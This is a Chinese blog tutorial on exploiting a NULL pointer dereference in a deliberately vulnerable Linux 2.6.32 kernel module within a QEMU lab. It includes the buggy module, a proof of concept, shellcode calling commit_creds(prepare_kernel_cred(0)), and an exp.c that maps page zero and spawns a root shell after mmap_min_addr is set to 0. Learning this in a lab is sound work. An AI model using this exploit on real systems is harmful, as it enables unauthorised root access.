新手玩转Linux Kernel漏洞之Null Pointer Dereference

新手玩转Linux Kernel漏洞之Null Pointer Dereference

前言

这是我内核漏洞的入门篇, 不是很复杂, 希望能给徘徊在门外的小伙伴一点启发.

漏洞描述

    A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.

漏洞代码

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>

void (*my_funptr)(void);

int bug1_write(struct file* file, const char* buf, unsigned long len){
    my_funptr();
    return len;
}

static int __int null_dereference_init(void){
    printk(KERN_ALERT "null_dereference driver init!\n");
    create_proc_entry("bug1", 0666, 0)->write_proc = bug1_write;
    return 0;
}

static void __exit null_dereference_exit(void){
    printk(KERN_ALERT "null_dereference driver exit\n");
}
module_init(null_dereference_init);
module_exit(null_dereference_exit);

小结: 这是一个Linux Kernel Module类型代码,载入内核执行初始化null_dereference_init. 在proc中创建一个Entrybug1.当write bug1时, 会触发Kernel调用bug1_write函数,而bug1_write中的my_funptr()是一个空指针.建议大家去学习一下这段代码中不懂的点, 理解上面这段代码很是重要

编译Module

obj-m := null_dereference.o
KERNELDR := /home/bill/CTF/Kernel/linux-2.6.32/
PWD := $(shell pwd)
modules:
    $(MAKE) -C $(KERNELDR) M=$(PWD) modules
modules_install:
    $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
    $(MAKE) -C $(KERNELDR) M=$(PWD) clean

需要注意的几点: KERNELDR填写为自己机器的源码根目录, 我自己在Ubuntu 12.04 i386上面没有编译成功, 在Ubuntu 16.04 64bit上面编译成功了.

null_dereference.ko放入到busybox-1.19.4/_install/usr中.

Poc.c

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

char payload[] = "\xe9\xea\xbe\xad\xde"; //jmp 0xdeadbeef

int main(){
    mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(0, payload, sizeof(payload));
    int fd = open("/proc/bug1", O_WRONLY);
    write(fd, "bill", 4); //call my_funptr
    return 0;
}

静态编译,放入busybox-1.19.4/_install/usr中,gcc -static Poc.c -o Poc.

调试

重新打包rootfs.img, 启动Qemu, CTRL + ALT + 2, 输入gdbserver tcp::1234,
result02
CTRL + ALT + 1切回命令行,

insmod /usr/null_dereference.ko #载入Module
/usr/Poc

结果:

result03

结论:证明执行了我们的shellcode.

提权

从普通用户提权到root用户.

知识点

    进程的特权等级是通过struct cred结构体来标识的.当一个进程的uid,gid0, 就表明这是一个root进程,提权成功.

struct cred {
    atomic_t usage;
    #ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    uid_t       uid;        /* real UID of the task */
    gid_t       gid;        /* real GID of the task */
    uid_t       suid;       /* saved UID of the task */
    gid_t       sgid;       /* saved GID of the task */
    uid_t       euid;       /* effective UID of the task */
    gid_t       egid;       /* effective GID of the task */
    uid_t       fsuid;      /* UID for VFS ops */
    gid_t       fsgid;      /* GID for VFS ops */
    ......
}

Expolit

  1. 思路: 执行commit_creds(prepare_kernel_cred(0))
/*
 *prepare_kernel_cred - Prepare a set of credentials for a kernel service
 */
struct cred *prepare_kernel_cred(struct task_struct *daemon);
/*
 * commit_creds - Install new credentials upon the current task
 */
int commit_creds(struct cred* new)
  1. 获取函数地址
/# grep prepare_kernel_cred /proc/kallsyms
c1069be0 T prepare_kernel_cred
/# grep commit_creds /proc/kallsyms
c1069a40 T commit_creds
  1. 编写shellcode
xor %eax, %eax
call 0xc1069be0 //prepare_kernel_cred
call 0xc1069a40 //commit_creds
ret

保存为payload.s

$ gcc payload.s -o payload -nostdlib -Ttext=0
$ objdump -d payload

00000000 <.text>:
   0:   31 c0                   xor    %eax,%eax
   2:   e8 d9 9b 06 c1          call   c1069be0 <_end+0xc1068bd0>
   7:   e8 34 9a 06 c1          call   c1069a40 <_end+0xc1068a30>
   c:   c3  
char payload[] = "\x31\xc0\xe8\xd9\x9b\x06\xc1\xe8\x34\x9a\x06\xc1\xc3";
  1. 编写exp.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
/*
 *xor %eax, %eax
 *call 0xc1069be0
 *call 0xc1069a40
 *ret
 */
char payload[] = "\x31\xc0\xe8\xd9\x9b\x06\xc1\xe8\x34\x9a\x06\xc1\xc3";

int main(){
    mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(0, payload, sizeof(payload));
    int fd = open("/proc/bug1", O_WRONLY);
    write(fd, "bill", 4); //call my_funptr
        system("/bin/sh");
    return 0;
}

编译: gcc -static exp.c -o exp, 拷贝入’/usr’目录, 重新打包.
4. 提权
由于内核已经使用mmap_min_addr作为缓解措施, 我们需要让你重新为0.

#/ sysctl -w "vm.mmap_min_addr=0"
#/ mdkir -p /home/bill
#/ touch /etc/passwd
#/ touch /etc/group
#/ adduser bill
#/ insmod /usr/null_dereference.ko
#/ su bill
~$ /usr/exp
/home/bill #

结果图:

result04

相关链接

pwn4
相关文件下载

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
"unable to handle kernel null pointer dereference at virtual address"是一个内核错误信息,意味着操作系统内核在处理时遇到了一个空指针解引用错误。空指针解引用错误是指当程序试图引用一个空指针(即指向空的内存地址)时发生的错误。 这种错误通常发生在程序访问或者操作指针指向的内存空间之前没有进行有效的判空处理。在操作系统内核中,这个错误特别严重,因为操作系统的内核负责管理整个计算机的硬件和软件资源,任何内核错误都可能导致系统崩溃或者异常。 解决这个问题需要审查出错的代码,找到导致空指针解引用错误的原因。一般来说,这种错误可能出现在以下情况下: 1. 未初始化指针:确保在使用指针之前已经正确初始化,给指针分配了有效的内存空间。 2. 未对指针进行有效的判空处理:在对指针进行解引用操作之前,应该先检查指针是否为空,防止出现空指针解引用错误。 3. 内存越界访问:确保在访问指针所指向的内存空间时,没有超出该空间的边界。 修复空指针解引用错误需要仔细检查代码并进行调试,以找到错误的根本原因。然后,根据具体情况,可以采取一些措施,如添加有效的判空处理、初始化指针、检查内存边界等,以防止类似的错误再次发生。这样能够保证系统的稳定性和可靠性。在开发过程中,遵循良好的编码规范和使用可靠的调试工具也能够帮助我们尽早发现和解决空指针解引用错误。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值